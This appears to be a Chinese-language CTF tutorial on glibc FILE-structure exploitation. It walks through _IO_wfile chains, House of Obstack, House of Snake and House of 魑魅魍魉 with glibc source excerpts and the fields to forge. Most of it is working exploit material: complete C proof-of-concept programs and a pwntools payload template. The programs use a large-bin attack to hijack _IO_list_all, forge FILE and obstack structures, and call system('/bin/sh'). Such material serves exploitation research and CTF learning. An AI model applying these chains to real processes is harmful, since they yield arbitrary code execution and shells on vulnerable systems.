1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 static wint_t _IO_wfile_underflow_mmap (FILE *fp) { struct _IO_codecvt *cd ; const char *read_stop; if (__glibc_unlikely (fp->_flags & _IO_NO_READS)) { fp->_flags |= _IO_ERR_SEEN; __set_errno (EBADF); return WEOF; } if (fp->_wide_data->_IO_read_ptr < fp->_wide_data->_IO_read_end) return *fp->_wide_data->_IO_read_ptr; cd = fp->_codecvt; if (fp->_IO_read_ptr >= fp->_IO_read_end && _IO_file_underflow_mmap (fp) == EOF) return WEOF; read_stop = (const char *) fp->_IO_read_ptr; if (fp->_wide_data->_IO_buf_base == NULL ) { if (fp->_wide_data->_IO_save_base != NULL ) { free (fp->_wide_data->_IO_save_base); fp->_flags &= ~_IO_IN_BACKUP; } _IO_wdoallocbuf (fp); } fp->_wide_data->_IO_last_state = fp->_wide_data->_IO_state; fp->_wide_data->_IO_read_base = fp->_wide_data->_IO_read_ptr = fp->_wide_data->_IO_buf_base; __libio_codecvt_in (cd, &fp->_wide_data->_IO_state, fp->_IO_read_ptr, fp->_IO_read_end, &read_stop, fp->_wide_data->_IO_read_ptr, fp->_wide_data->_IO_buf_end, &fp->_wide_data->_IO_read_end); }
需要设置fp->_flags & _IO_NO_READS == 0
,设置fp->_wide_data->_IO_read_ptr >= fp->_wide_data->_IO_read_end
,设置fp->_IO_read_ptr < fp->_IO_read_end
不进入调用,设置fp->_wide_data->_IO_buf_base != NULL
不进入调用。
利用_IO_wdo_write函数控制程序执行流 _IO_wdo_write
的调用点很多,这里我选择一个相对简单的链:
1 2 3 _IO_new_file_sync _IO_do_flush _IO_wdo_write
对fp
的设置如下:
vtable
设置为_IO_file_jumps/
地址(加减偏移),使其能成功调用_IO_new_file_sync
即可
_IO_write_ptr > _IO_write_base
,即满足*(fp + 0x28) > *(fp + 0x20)
_mode > 0
,即满足(fp + 0xc0) > 0
_IO_write_end != _IO_write_ptr
或者_IO_write_end == _IO_write_base
,即满足*(fp + 0x30) != *(fp + 0x28)
或者*(fp + 0x30) == *(fp + 0x20)
_wide_data
设置为堆地址,假设地址为A
,即满足*(fp + 0xa0) = A
_wide_data->_IO_write_ptr >= _wide_data->_IO_write_base
,即满足*(A + 0x20) >= *(A + 0x18)
_codecvt
设置为可控堆地址B
,即满足*(fp + 0x98) = B
codecvt->__cd_out.step
设置为可控堆地址C
,即满足*(B + 0x38) = C
codecvt->__cd_out.step->__shlib_handle
设置为0
,即满足*C = 0
codecvt->__cd_out.step->__fct
设置为地址D
,地址D
用于控制rip
,即满足*(C + 0x28) = D
。当调用到D
的时候,此时的rdi
为C
。如果_wide_data
也可控的话,rsi
也能控制。
函数的调用链如下:
1 2 3 4 5 6 7 _IO_new_file_sync _IO_do_flush _IO_wdo_write __libio_codecvt_out DL_CALL_FCT gs = fp->_codecvt->__cd_out.step *(gs->__fct)(gs)
详细分析如下: 首先看_IO_new_file_sync
函数:
1 2 3 4 5 6 7 8 9 10 11 int _IO_new_file_sync (FILE *fp) { ssize_t delta; int retval = 0 ; if (fp->_IO_write_ptr > fp->_IO_write_base) if (_IO_do_flush(fp)) return EOF; }
只需要满足fp->_IO_write_ptr > fp->_IO_write_base
。
然后看_IO_do_flush
宏:
1 2 3 4 5 6 7 #define _IO_do_flush(_f) \ ((_f)->_mode <= 0 \ ? _IO_do_write(_f, (_f)->_IO_write_base, \ (_f)->_IO_write_ptr-(_f)->_IO_write_base) \ : _IO_wdo_write(_f, (_f)->_wide_data->_IO_write_base, \ ((_f)->_wide_data->_IO_write_ptr \ - (_f)->_wide_data->_IO_write_base)))
根据fp->_mode
的值选择调用_IO_do_write
或者_IO_wdo_write
。这里我们要调用后者,必须使fp->_mode > 0
。此时的第二个参数为fp->_wide_data->_IO_write_base
,第三个参数为fp->_wide_data->_IO_write_ptr - fp->_wide_data->_IO_write_base
。
接着看_IO_wdo_write
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 int _IO_wdo_write (FILE *fp, const wchar_t *data, size_t to_do) { struct _IO_codecvt *cc = fp->_codecvt; if (to_do > 0 ) { if (fp->_IO_write_end == fp->_IO_write_ptr && fp->_IO_write_end != fp->_IO_write_base) { if (_IO_new_do_write (fp, fp->_IO_write_base, fp->_IO_write_ptr - fp->_IO_write_base) == EOF) return WEOF; } result = __libio_codecvt_out (cc, &fp->_wide_data->_IO_state, data, data + to_do, &new_data, write_ptr, buf_end, &write_ptr); } }
首先to_do
必须要大于0
,即满足fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base
,然后这个判断需要为假fp->_IO_write_end == fp->_IO_write_ptr && fp->_IO_write_end != fp->_IO_write_base
。
这个链基本需要控制fp->_wide_data
,相比上两条链的约束条件要更多一点。
使用_IO_wfile_sync函数控制程序执行流 对fp
的设置如下:
_flags
设置为~(4 | 0x10)
vtable
设置为_IO_wfile_jumps
地址(加减偏移),使其能成功调用_IO_wfile_sync
即可
_wide_data
设置为堆地址,假设其地址为A
,即满足*(fp + 0xa0) = A
_wide_data->_IO_write_ptr <= _wide_data->_IO_write_base
,即满足*(A + 0x20) <= *(A + 0x18)
_wide_data->_IO_read_ptr != _wide_data->_IO_read_end
,即满足*A != *(A + 8)
_codecvt
设置为可控堆地址B
,即满足*(fp + 0x98) = B
codecvt->__cd_in.step
设置为可控堆地址C
,即满足*B = C
codecvt->__cd_in.step->__stateful
设置为非0
,即满足*(B + 0x58) != 0
codecvt->__cd_in.step->__shlib_handle
设置为0
,即满足*C = 0
codecvt->__cd_in.step->__fct
设置为地址D
,地址D
用于控制rip
,即满足*(C + 0x28) = D
。当调用到D
的时候,此时的rdi
为C
。如果rsi
为&codecvt->__cd_in.step_data
可控。
函数的调用链如下:
1 2 3 4 5 _IO_wfile_sync __libio_codecvt_length DL_CALL_FCT gs = fp->_codecvt->__cd_in.step *(gs->__fct)(gs)
详细分析如下: 直接看_IO_wfile_sync
函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 wint_t _IO_wfile_sync (FILE *fp) { ssize_t delta; wint_t retval = 0 ; if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base) if (_IO_do_flush (fp)) return WEOF; delta = fp->_wide_data->_IO_read_ptr - fp->_wide_data->_IO_read_end; if (delta != 0 ) { struct _IO_codecvt *cv = fp->_codecvt; off64_t new_pos; int clen = __libio_codecvt_encoding (cv); if (clen > 0 ) delta *= clen; else { int nread; size_t wnread = (fp->_wide_data->_IO_read_ptr - fp->_wide_data->_IO_read_base); fp->_wide_data->_IO_state = fp->_wide_data->_IO_last_state; nread = __libio_codecvt_length (cv, &fp->_wide_data->_IO_state, fp->_IO_read_base, fp->_IO_read_end, wnread); } } }
需要设置fp->_wide_data->_IO_write_ptr <= fp->_wide_data->_IO_write_base
和fp->_wide_data->_IO_read_ptr - fp->_wide_data->_IO_read_end != 0
。
然后看下__libio_codecvt_encoding
函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 int __libio_codecvt_encoding (struct _IO_codecvt *codecvt) { if (codecvt->__cd_in.step->__stateful) return -1 ; if (codecvt->__cd_in.step->__min_needed_from != codecvt->__cd_in.step->__max_needed_from) return 0 ; return codecvt->__cd_in.step->__min_needed_from; }
直接设置fp->codecvt->__cd_in.step->__stateful != 0
即可返回-1
。
House of 琴瑟琵琶 | House of Obstack 这个攻击手段主要是利用_IO_obstack_jumps
,其中_IO_obstack_overflow
和 _IO_obstack_xsputn
都可以触发,攻击链如下。
1 2 3 4 5 _IO_obstack_overflow obstack_1grow (obstack, c) ; _obstack_newchunk (__o, 1 ); new_chunk = CALL_CHUNKFUN (h, new_size); (*(h)->chunkfun)((h)->extra_arg, (size))
1 2 3 4 5 _IO_obstack_xsputn obstack_grow (obstack, data, n) ;; _obstack_newchunk (__o, __len); new_chunk = CALL_CHUNKFUN (h, new_size); (*(h)->chunkfun)((h)->extra_arg, (size))
但实际过程中_IO_obstack_overflow
容易触发assert (c != EOF);
,所以一般选择第二条链。
_IO_obstack_jumps
中只有2个函数有赋值,其他都为空。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 const struct _IO_jump_t _IO_obstack_jumps libio_vtable attribute_hidden ={ JUMP_INIT_DUMMY, JUMP_INIT(finish, NULL ), JUMP_INIT(overflow, _IO_obstack_overflow), JUMP_INIT(underflow, NULL ), JUMP_INIT(uflow, NULL ), JUMP_INIT(pbackfail, NULL ), JUMP_INIT(xsputn, _IO_obstack_xsputn), JUMP_INIT(xsgetn, NULL ), JUMP_INIT(seekoff, NULL ), JUMP_INIT(seekpos, NULL ), JUMP_INIT(setbuf, NULL ), JUMP_INIT(sync, NULL ), JUMP_INIT(doallocate, NULL ), JUMP_INIT(read, NULL ), JUMP_INIT(write, NULL ), JUMP_INIT(seek, NULL ), JUMP_INIT(close, NULL ), JUMP_INIT(stat, NULL ), JUMP_INIT(showmanyc, NULL ), JUMP_INIT(imbue, NULL ) };
_IO_obstack_overflow
和_IO_obstack_xsputn
两个函数内容如下。为了避免绕过_IO_obstack_overflow
中的assert (c != EOF);
,我们一般用_IO_obstack_xsputn
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 static int _IO_obstack_overflow (FILE *fp, int c){ struct obstack *obstack = ((struct _IO_obstack_file *) fp)->obstack; int size; assert (c != EOF); obstack_1grow (obstack, c); fp->_IO_write_base = obstack_base (obstack); fp->_IO_write_ptr = obstack_next_free (obstack); size = obstack_room (obstack); fp->_IO_write_end = fp->_IO_write_ptr + size; obstack_blank_fast (obstack, size); return c; }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 static size_t _IO_obstack_xsputn (FILE *fp, const void *data, size_t n){ struct obstack *obstack = ((struct _IO_obstack_file *) fp)->obstack; if (fp->_IO_write_ptr + n > fp->_IO_write_end) { int size; obstack_blank_fast (obstack, fp->_IO_write_ptr - fp->_IO_write_end); obstack_grow (obstack, data, n); fp->_IO_write_base = obstack_base (obstack); fp->_IO_write_ptr = obstack_next_free (obstack); size = obstack_room (obstack); fp->_IO_write_end = fp->_IO_write_ptr + size; obstack_blank_fast (obstack, size); } else fp->_IO_write_ptr = __mempcpy (fp->_IO_write_ptr, data, n); return n; }
函数中的_IO_obstack_file
只是在_IO_FILE_plus
后面加了一个obstack
的指针。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 struct _IO_obstack_file { struct _IO_FILE_plus file ; struct obstack *obstack ; }; struct obstack /* control current object in current chunk */{ long chunk_size; struct _obstack_chunk *chunk ; char *object_base; char *next_free; char *chunk_limit; union { PTR_INT_TYPE tempint; void *tempptr; } temp; int alignment_mask; struct _obstack_chunk *(*chunkfun ) (void *, long ); void (*freefun) (void *, struct _obstack_chunk *); void *extra_arg; unsigned use_extra_arg : 1 ; unsigned maybe_empty_object : 1 ; unsigned alloc_failed : 1 ; };
简单绕过一些内容后用运行到obstack_grow
处,来调用_obstack_newchunk
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 obstack_grow(obstack, data, n); 定义: # define obstack_grow(OBSTACK, where, length) \ __extension__ \ ({ struct obstack *__o = (OBSTACK); \ int __len = (length); \ if (__o->next_free + __len > __o->chunk_limit) \ _obstack_newchunk (__o, __len); \ memcpy (__o->next_free, where, __len); \ __o->next_free += __len; \ (void) 0; }) 替换: ({ struct obstack *__o = (obstack); int __len = (n); if (__o->next_free + __len > __o->chunk_limit)_obstack_newchunk(__o, __len); memcpy (__o->next_free, data, __len); __o->next_free += __len; (void ) 0 ; });
之后触发CALL_CHUNKFUN
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 void _obstack_newchunk(struct obstack *h, int length) { struct _obstack_chunk *old_chunk = h->chunk; struct _obstack_chunk *new_chunk ; long new_size; long obj_size = h->next_free - h->object_base; long i; long already; char *object_base; new_size = (obj_size + length) + (obj_size >> 3 ) + h->alignment_mask + 100 ; if (new_size < h->chunk_size) new_size = h->chunk_size; new_chunk = CALL_CHUNKFUN(h, new_size); ... }
CALL_CHUNKFUN
宏实际上是使用了结构体中的指针(*(h)->chunkfun)((h)->extra_arg, (size))
,并且第一个参数可控,同时需要保证(((h)->use_extra_arg)
为1
1 2 3 4 5 6 7 8 new_chunk = CALL_CHUNKFUN(h, new_size); 定义: #define CALL_CHUNKFUN(h, size) \ (((h)->use_extra_arg) \ ? (*(h)->chunkfun)((h)->extra_arg, (size)) \ : (*(struct _obstack_chunk * (*) (long) )(h)->chunkfun)((size))) 替换: (((h)->use_extra_arg) ? (*(h)->chunkfun)((h)->extra_arg, (new_size)) : (*(struct _obstack_chunk *(*) (long ) )(h)->chunkfun)((new_size)))
因此可以按下图所示方法构造:poc 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 #include <stdio.h> #include <stdlib.h> #include <string.h> int main () { size_t puts_addr = (size_t ) &puts ; size_t libc_base = puts_addr - 0x77040 ; size_t IO_list_all_addr = libc_base + 0x1d2660 ; size_t *large = malloc (0x420 ); malloc (0x18 ); size_t *unsorted = malloc (0x410 ); free (large); malloc (0x500 ); free (unsorted); large[3 ] = IO_list_all_addr - 0x20 ; malloc (0x20 ); size_t *fake_IO_obstack_file = large - 2 ; size_t *fake_obstack = fake_IO_obstack_file + 6 ; size_t IO_obstack_jumps = libc_base + 0x1ce420 ; fake_IO_obstack_file[4 ] = 0 ; fake_IO_obstack_file[5 ] = 1 ; fake_IO_obstack_file[27 ] = IO_obstack_jumps + 0x20 ; fake_IO_obstack_file[28 ] = (size_t ) fake_obstack; strcpy ((char *) &fake_IO_obstack_file[29 ], "/bin/sh" ); fake_obstack[7 ] = (size_t ) system; fake_obstack[9 ] = (size_t ) &fake_IO_obstack_file[29 ]; fake_obstack[10 ] |= 1 ; exit (0 ); }
攻击模板如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 fake_io_addr = heap_addr + 0x1390 obstack_ptr = fake_io_addr + 0x30 fake_io_file = b'' fake_io_file = fake_io_file.ljust(0x58 ,b'\x00' ) fake_io_file += p64(system_addr) fake_io_file += p64(0 ) fake_io_file += p64(fake_io_addr+0xe8 ) fake_io_file += p64(1 ) fake_io_file += p64(heap_addr+0x2000 ) fake_io_file = fake_io_file.ljust(0xc8 ,b'\x00' ) fake_io_file += p64(IO_obstack_jumps_addr + 0x20 ) fake_io_file += p64(obstack_ptr) print (hex (len (fake_io_file))) payload = fake_io_file+ b'/bin/sh\x00'
House of Snake glibc-2.37 删除了 _IO_obstack_jumps
但是添加了 _IO_printf_buffer_as_file_jumps
这个新的 _IO_jumps_t
结构体。 _IO_printf_buffer_as_file_jumps
中只有 __printf_buffer_as_file_overflow
和 __printf_buffer_as_file_xsputn
两个函数,而 House of Snake 利用的是 __printf_buffer_as_file_overflow
函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 static const struct _IO_jump_t _IO_printf_buffer_as_file_jumps libio_vtable ={ JUMP_INIT_DUMMY, JUMP_INIT(finish, NULL ), JUMP_INIT(overflow, __printf_buffer_as_file_overflow), JUMP_INIT(underflow, NULL ), JUMP_INIT(uflow, NULL ), JUMP_INIT(pbackfail, NULL ), JUMP_INIT(xsputn, __printf_buffer_as_file_xsputn), JUMP_INIT(xsgetn, NULL ), JUMP_INIT(seekoff, NULL ), JUMP_INIT(seekpos, NULL ), JUMP_INIT(setbuf, NULL ), JUMP_INIT(sync, NULL ), JUMP_INIT(doallocate, NULL ), JUMP_INIT(read, NULL ), JUMP_INIT(write, NULL ), JUMP_INIT(seek, NULL ), JUMP_INIT(close, NULL ), JUMP_INIT(stat, NULL ), JUMP_INIT(showmanyc, NULL ), JUMP_INIT(imbue, NULL ) };
__printf_buffer_as_file_overflow
函数定义如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 static inline bool __attribute_warn_unused_result____printf_buffer_has_failed(struct __printf_buffer *buf) { return buf->mode == __printf_buffer_mode_failed; } static int __printf_buffer_as_file_overflow(FILE *fp, int ch) { struct __printf_buffer_as_file *file = (struct __printf_buffer_as_file *) fp; __printf_buffer_as_file_commit(file); if (ch != EOF) __printf_buffer_putc(file->next, ch); if (!__printf_buffer_has_failed(file->next) && file->next->write_ptr == file->next->write_end) __printf_buffer_flush(file->next); ... }
首先 __printf_buffer_as_file_overflow
函数将 FILE
结构体转换为 __printf_buffer_as_file
类型,相关定义如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 struct __printf_buffer { char *write_base; char *write_ptr; char *write_end; uint64_t written; enum __printf_buffer_mode mode ; }; struct __printf_buffer_as_file { FILE stream; const struct _IO_jump_t *vtable ; struct __printf_buffer *next ; };
之后调用了 __printf_buffer_as_file_commit
,该函数做了一些检查:
1 2 3 4 5 6 7 8 9 10 11 12 static void __printf_buffer_as_file_commit (struct __printf_buffer_as_file *file) { assert (file->stream._IO_write_ptr >= file->next->write_ptr); assert (file->stream._IO_write_ptr <= file->next->write_end); assert (file->stream._IO_write_base == file->next->write_base); assert (file->stream._IO_write_end == file->next->write_end); file->next->write_ptr = file->stream._IO_write_ptr; }
之后根据参数 ch
是否为 EOF
决定是否调用 __printf_buffer_putc
。FSOP 中调用的 _IO_flush_all_lockp
函数中是通过 _IO_OVERFLOW (fp, EOF)
调用到 vtable
中的 overflow
函数,因此 __printf_buffer_as_file_overflow
的参数 ch
为 EOF
。 当然,即使调用到了 __printf_buffer_putc
也只是是做了一些指针记录的数值加减的操作,对此我们不用过多关注。
再之后会调用 __printf_buffer_flush
函数,调用条件是 file->next.mode != __printf_buffer_mode_failed
且 file->next->write_ptr == file->next->write_end
。
__printf_buffer_flush
函数定义如下,这里再次检查 file->next.mode != __printf_buffer_mode_failed
然后调用 __printf_buffer_do_flush
函数,参数为 file->next
。
1 2 3 4 5 6 7 8 9 10 11 12 13 #define Xprintf(n) __printf_##n #define Xprintf_buffer_flush Xprintf (buffer_flush) #define Xprintf_buffer Xprintf (buffer) bool Xprintf_buffer_flush (struct Xprintf_buffer *buf) { if (__glibc_unlikely (Xprintf_buffer_has_failed (buf))) return false ; Xprintf (buffer_do_flush) (buf); ... }
如果 file->next.mode = __printf_buffer_mode_obstack(11)
那么会调用 __printf_buffer_flush_obstack
函数。
1 2 3 4 5 6 7 8 9 10 11 12 static void __printf_buffer_do_flush (struct __printf_buffer *buf) { switch (buf->mode) { ... case __printf_buffer_mode_obstack: __printf_buffer_flush_obstack ((struct __printf_buffer_obstack *) buf); return ; } ... }
这里 __printf_buffer_obstack
结构体定义如下:
1 2 3 4 5 6 struct __printf_buffer_obstack { struct __printf_buffer base ; struct obstack *obstack ; char ch; };
如果满足 buf->base.write_ptr == &buf->ch + 1
则 __printf_buffer_flush_obstack
会执行 obstack_1grow
宏。
1 2 3 4 5 6 7 8 9 10 11 void __printf_buffer_flush_obstack (struct __printf_buffer_obstack *buf) { ... if (buf->base.write_ptr == &buf->ch + 1 ) { obstack_1grow (buf->obstack, buf->ch); ... } ... }
obstack_1grow
宏展开内容如下,可以看到该宏调用了 _obstack_newchunk
函数并将 buf->obstack
作为参数传入。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 声明位置: obstack.h 定义: # define obstack_1grow(OBSTACK, datum) \ __extension__ \ ({ struct obstack *__o = (OBSTACK); \ if (__o->next_free + 1 > __o->chunk_limit) \ _obstack_newchunk (__o, 1); \ obstack_1grow_fast (__o, datum); \ (void) 0; }) 替换: ({ struct obstack *__o = (buf->obstack); if (__o->next_free + 1 > __o->chunk_limit)_obstack_newchunk(__o, 1 ); (*((__o)->next_free)++ = (buf->ch)); (void ) 0 ; })
_obstack_newchunk
函数会执行 CALL_CHUNKFUN
宏,这和前面的 House of 琴瑟琵琶利用链相同。
1 2 3 4 5 6 7 8 9 void _obstack_newchunk (struct obstack *h, int length) { ... struct _obstack_chunk *new_chunk ; ... new_chunk = CALL_CHUNKFUN (h, new_size); ... }
回顾一下整个分析过程并将所有相关结构体,并都看成 __printf_buffer_as_file
结构体,有以下条件:
在 __printf_buffer_as_file_overflow
函数中:
file->next->mode!=__printf_buffer_mode_failed && file->next->write_ptr == file->next->write_end
在 __printf_buffer_as_file_commit
函数中:
file->stream._IO_write_ptr >= file->next->write_ptr
file->stream._IO_write_ptr <= file->next->write_end
file->stream._IO_write_base == file->next->write_base
file->stream._IO_write_end == file->next->write_end
在 __printf_buffer_flush
函数中:
file->next->mode =__printf_buffer_mode_obstack
在 __printf_buffer_flush_obstack
函数中:
buf->base.write_ptr == &buf->ch + 1
<==> file->next.write_ptr == &(file->next) + 0x30 + 1
在 obstack_1grow
宏定义中:
(struct __printf_buffer_obstack *) file->obstack->next_free + 1 > (struct __printf_buffer_obstack *) file->obstack->chunk_limit
(h)->use_extra_arg
不为 0 <==> (struct __printf_buffer_obstack *) file->obstack->use_extra_arg != 0
最终调用 (struct __printf_buffer_obstack *) file->obstack->chunkfun((struct __printf_buffer_obstack *) file->obstack->extra_arg)
。
具体构造如下图所示:poc 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 #include <stdint-gcc.h> #include <stdio.h> #include <stdlib.h> #include <string.h> enum __printf_buffer_mode { __printf_buffer_mode_failed, __printf_buffer_mode_sprintf, __printf_buffer_mode_snprintf, __printf_buffer_mode_sprintf_chk, __printf_buffer_mode_to_file, __printf_buffer_mode_asprintf, __printf_buffer_mode_dprintf, __printf_buffer_mode_strfmon, __printf_buffer_mode_fp, __printf_buffer_mode_fp_to_wide, __printf_buffer_mode_fphex_to_wide, __printf_buffer_mode_obstack, }; struct __printf_buffer { char *write_base; char *write_ptr; char *write_end; uint64_t written; enum __printf_buffer_mode mode ; }; struct __printf_buffer_obstack { struct __printf_buffer base ; struct obstack *obstack ; char ch; }; int main () { puts ("[*] leak libc_base." ); size_t puts_addr = (size_t ) &puts ; size_t libc_base = puts_addr - 0x74960 ; puts ("[*] hijack _IO_list_all by large bin attack." ); size_t IO_list_all_addr = libc_base + 0x1d2680 ; size_t *large = malloc (0x420 ); malloc (0x18 ); size_t *unsorted = malloc (0x410 ); free (large); malloc (0x500 ); free (unsorted); large[3 ] = IO_list_all_addr - 0x20 ; malloc (0x20 ); puts ("[*] construct fake file." ); size_t *fake_printf_buffer_as_file = large - 2 ; struct __printf_buffer_obstack *fake_printf_buffer_obstack = fake_printf_buffer_as_file + 29 ; size_t *fake_obstack = (size_t *) &fake_printf_buffer_obstack->obstack; char *arg = (char *) &fake_obstack[11 ]; size_t IO_printf_buffer_as_file_jumps = libc_base + 0x1cdd60 ; fake_printf_buffer_as_file[4 ] = 0 ; fake_printf_buffer_as_file[5 ] = (size_t ) &fake_printf_buffer_obstack->ch + 1 ; fake_printf_buffer_as_file[6 ] = fake_printf_buffer_as_file[5 ]; fake_printf_buffer_as_file[27 ] = IO_printf_buffer_as_file_jumps; fake_printf_buffer_as_file[28 ] = (size_t ) fake_printf_buffer_obstack; fake_printf_buffer_obstack->base.write_base = 0 ; fake_printf_buffer_obstack->base.write_ptr = 0 ; fake_printf_buffer_obstack->base.write_end = (char *) fake_printf_buffer_as_file[5 ]; fake_printf_buffer_obstack->base.mode = __printf_buffer_mode_obstack; fake_printf_buffer_obstack->obstack = (struct obstack *) &fake_printf_buffer_obstack->obstack; fake_obstack[7 ] = (size_t ) system; fake_obstack[9 ] = (size_t ) arg; fake_obstack[10 ] = 0x1 ; strcpy (arg, "/bin/sh" ); puts ("[*] trigger FSOP." ); exit (0 ); }
House of 魑魅魍魉 一般来说一类跳表只有一个,但 _IO_helper_jumps
比较特殊,通过下面可以看出,跳表会根据 COMPILE_WPRINTF
值不同而生成不同的,但可能 libc 在编译时调用两次,所以我们可以在内存中看到两个 _IO_helper_jumps
, 每种各一个。其中,**COMPILE_WPRINTF == 0
先生成,COMPILE_WPRINTF == 1
后生成。**
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 #ifdef COMPILE_WPRINTF static const struct _IO_jump_t _IO_helper_jumps libio_vtable ={ JUMP_INIT_DUMMY, JUMP_INIT (finish, _IO_wdefault_finish), JUMP_INIT (overflow, _IO_helper_overflow), JUMP_INIT (underflow, _IO_default_underflow), JUMP_INIT (uflow, _IO_default_uflow), JUMP_INIT (pbackfail, (_IO_pbackfail_t) _IO_wdefault_pbackfail), JUMP_INIT (xsputn, _IO_wdefault_xsputn), JUMP_INIT (xsgetn, _IO_wdefault_xsgetn), JUMP_INIT (seekoff, _IO_default_seekoff), JUMP_INIT (seekpos, _IO_default_seekpos), JUMP_INIT (setbuf, _IO_default_setbuf), JUMP_INIT (sync, _IO_default_sync), JUMP_INIT (doallocate, _IO_wdefault_doallocate), JUMP_INIT (read, _IO_default_read), JUMP_INIT (write, _IO_default_write), JUMP_INIT (seek, _IO_default_seek), JUMP_INIT (close, _IO_default_close), JUMP_INIT (stat, _IO_default_stat) }; #else static const struct _IO_jump_t _IO_helper_jumps libio_vtable ={ JUMP_INIT_DUMMY, JUMP_INIT (finish, _IO_default_finish), JUMP_INIT (overflow, _IO_helper_overflow), JUMP_INIT (underflow, _IO_default_underflow), JUMP_INIT (uflow, _IO_default_uflow), JUMP_INIT (pbackfail, _IO_default_pbackfail), JUMP_INIT (xsputn, _IO_default_xsputn), JUMP_INIT (xsgetn, _IO_default_xsgetn), JUMP_INIT (seekoff, _IO_default_seekoff), JUMP_INIT (seekpos, _IO_default_seekpos), JUMP_INIT (setbuf, _IO_default_setbuf), JUMP_INIT (sync, _IO_default_sync), JUMP_INIT (doallocate, _IO_default_doallocate), JUMP_INIT (read, _IO_default_read), JUMP_INIT (write, _IO_default_write), JUMP_INIT (seek, _IO_default_seek), JUMP_INIT (close, _IO_default_close), JUMP_INIT (stat, _IO_default_stat) }; #endif
同样,面对不同的 COMPILE_WPRINTF
所对应的 helper_file
也有所不同,区别在于是否需要伪造 struct _IO_wide_data _wide_data;
。
1 2 3 4 5 6 7 8 9 10 11 struct helper_file { struct _IO_FILE_plus _f ; #ifdef COMPILE_WPRINTF struct _IO_wide_data _wide_data ; #endif FILE *_put_stream; #ifdef _IO_MTSAFE_IO _IO_lock_t lock; #endif };
同样,_IO_helper_overflow
这个函数在内存中也有 2 份。通过测试发现,如果使用 COMPILE_WPRINTF == 0
的情况,在攻击过程中 s->_IO_write_base
会变成 largebin->fd_nextsize
指针,从而被强制修改无法控制。为了方便,我们使用 COMPILE_WPRINTF == 1
所生成的 _IO_helper_overflow
。该函数在攻击过程中的作用是控制 _IO_default_xsputn
的三个参数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 static int _IO_helper_overflow (FILE *s, int c){ FILE *target = ((struct helper_file*) s)->_put_stream; #ifdef COMPILE_WPRINTF int used = s->_wide_data->_IO_write_ptr - s->_wide_data->_IO_write_base; if (used) { size_t written = _IO_sputn (target, s->_wide_data->_IO_write_base, used); if (written == 0 || written == WEOF) return WEOF; __wmemmove (s->_wide_data->_IO_write_base, s->_wide_data->_IO_write_base + written, used - written); s->_wide_data->_IO_write_ptr -= written; } #else int used = s->_IO_write_ptr - s->_IO_write_base; if (used) { size_t written = _IO_sputn (target, s->_IO_write_base, used); if (written == 0 || written == EOF) return EOF; memmove (s->_IO_write_base, s->_IO_write_base + written, used - written); s->_IO_write_ptr -= written; } #endif return PUTC (c, s); }
通过上面函数可以清楚看出,在执行 size_t written = _IO_sputn (target, s->_wide_data->_IO_write_base, used);
时
FILE *target = ((struct helper_file*) s)->_put_stream;
可控。
s->_wide_data->_IO_write_base
可控。
int used = s->_wide_data->_IO_write_ptr - s->_wide_data->_IO_write_base;
可控。
就达成了3个参数可控的要求,然后通过修改 ((struct helper_file*) s)->_put_stream
的 vtable
指向 _IO_str_jumps
,使其调用 _IO_default_xsputn
函数。
需要注意的是,s->_wide_data->_IO_write_ptr
和 s->_wide_data->_IO_write_base
是 wchar_t *
类型,也就是说used实际是 (s->_wide_data->_IO_write_ptr - s->_wide_data->_IO_write_base) >> 2
。 (在 Linux 系统上,宽字符通常使用 UTF-32 编码表示,而 UTF-32 使用 32 位表示一个字符,因此 wchar_t
类型在 Linux 上通常为 4 字节。)
_IO_default_xsputn
函数内要绕过的内容较多。该函数在攻击过程中的作用是两次调用 __mempcpy
,第一次利用任意地址写修改 __mempcpy
对应的 got 表中的值,第二次调用 __mempcpy
劫持程序执行流。
